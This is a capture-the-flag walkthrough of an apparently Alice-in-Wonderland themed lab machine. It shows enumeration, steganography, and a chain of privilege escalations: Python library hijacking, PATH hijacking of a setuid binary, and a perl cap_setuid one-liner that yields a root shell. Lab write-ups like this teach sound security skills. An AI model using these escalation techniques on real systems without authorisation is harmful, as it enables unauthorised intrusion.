Objectives
Capture user.txt and root.txt flags
Steps
Enumeration
As always we start with a standard nmap scan
1
2
3
4
5
6
7
8
9
Nmap scan report for <IP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
There’s an open http server on port 80. After opening it in a browser we’re greeted with an excerpt from Alice's Adventures in Wonderland
Optional step
We can grab a hint for this part from the rabbit image. If we download it and then use steghide on it without any password we get a hint.txt
1
2
3
4
5
$ steghide extract -sf white_rabbit_1.jpg
Enter passphrase:
wrote extracted data to "hint.txt".
$ cat hint.txt
follow the r a b b i t
After a quick directory scan we can find that there is a “/r/” directory on the server.
Since rabbit starts with “r” we can try to go to “/r/a/b/b/i/t”.
After checking the source code of this page we can find hidden credentials
1
<p style="display: none;">alice:[REDACTED]</p>
These are SSH credentials, let’s log in
Alice
After logging in we can see two files
1
2
3
4
alice@wonderland:~$ ls -l
total 8
-rw------- 1 root root 66 May 25 17:08 root.txt
-rw-r--r-- 1 root root 3577 May 25 02:43 walrus_and_the_carpenter.py
Sadly we can’t read the root flag yet and there’s this weird python script that grabs random lines from a poem and prints them:
1
2
3
4
5
6
7
import random
poem = """
<VERY LONG TEXT>"""
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)
After checking allowed sudo commands we can see that we can execute this script as rabbit
1
2
3
4
5
6
alice@wonderland:~$ sudo -l
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
How can we run our own code if we can’t modify the script nor add any other arguments?
The answer is library hijacking. When python looks for libraries/scripts to import it checks the local directory first, then additional packages and finally the base libraries.
We can utilize this to hijack the “random.choice” function to execute our own code.
First we create a file called random.py
1
2
3
4
import os
def choice(argument):
os.system("/bin/bash")
Then we can call the “walrus_and_the_carpenter.py” script to execute our code:
1
2
alice@wonderland:~$ sudo -u rabbit python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$
Rabbit
As rabbit we can see only one file in his home directory
1
2
rabbit@wonderland:/home/rabbit$ ls
teaParty
When we try to execute it we’re prompted for input and the program supposedy segfaults
1
2
3
4
5
6
7
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Mon, 08 Jun 2020 20:55:25 +0000
Ask very nicely, and I will give you some tea while you wait for him
a
Segmentation fault (core dumped)
After pulling the file to my local machine and analyzing it this probably what the source code looked like
1
2
3
4
5
6
7
8
9
10
void main(void) {
setuid(1003);
setgid(1003);
puts("Welcome to the tea party!\nThe Mad Hatter will be here soon.");
system("/bin/echo -n \'Probably by \' && date --date=\'next hour\' -R");
puts("Ask very nicely, and I will give you some tea while you wait for him");
getchar();
puts("Segmentation fault (core dumped)");
return;
}
We can now see that no matter what we put in it just fake segfaults. We can also see that it sets a uid+gid and executes a command.
One is called with an absolute path and the other just with the name.
Here we can gain code execution as hatter (uid 1003) by using something similar to python library manipulation.
Date is called without a path so if we create a file called “date” and manipulate the PATH variable to make it find it before the original one we can execute code.
1
2
3
4
5
6
7
8
9
10
rabbit@wonderland:/home/rabbit$ cat date
#!/bin/sh
bash
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit$ PATH=/home/rabbit:$PATH ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$
Hatter
Here in hatter’s home directory we can see a password.txt file. This is so we can log-in as hatter to gain full permissions as currently we only have his uid set.
Hatter is our final non-root user so now we have to escalate to root.
After running few scans from the PayloadAllTheThings Privesc checkist we can see that there are two binaries with setuid capabilities.
1
2
3
4
hatter@wonderland:/home/hatter$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
After a quick search on gtfobins we can see that we can easily get a root shell with this.
1
2
3
4
hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
#
Root
With root access we can now read /root/user.txt and /home/alice/root.txt flags
Thanks to:
- NinjaJc01 for creating this room
- you for reading.
Hope you learned something :)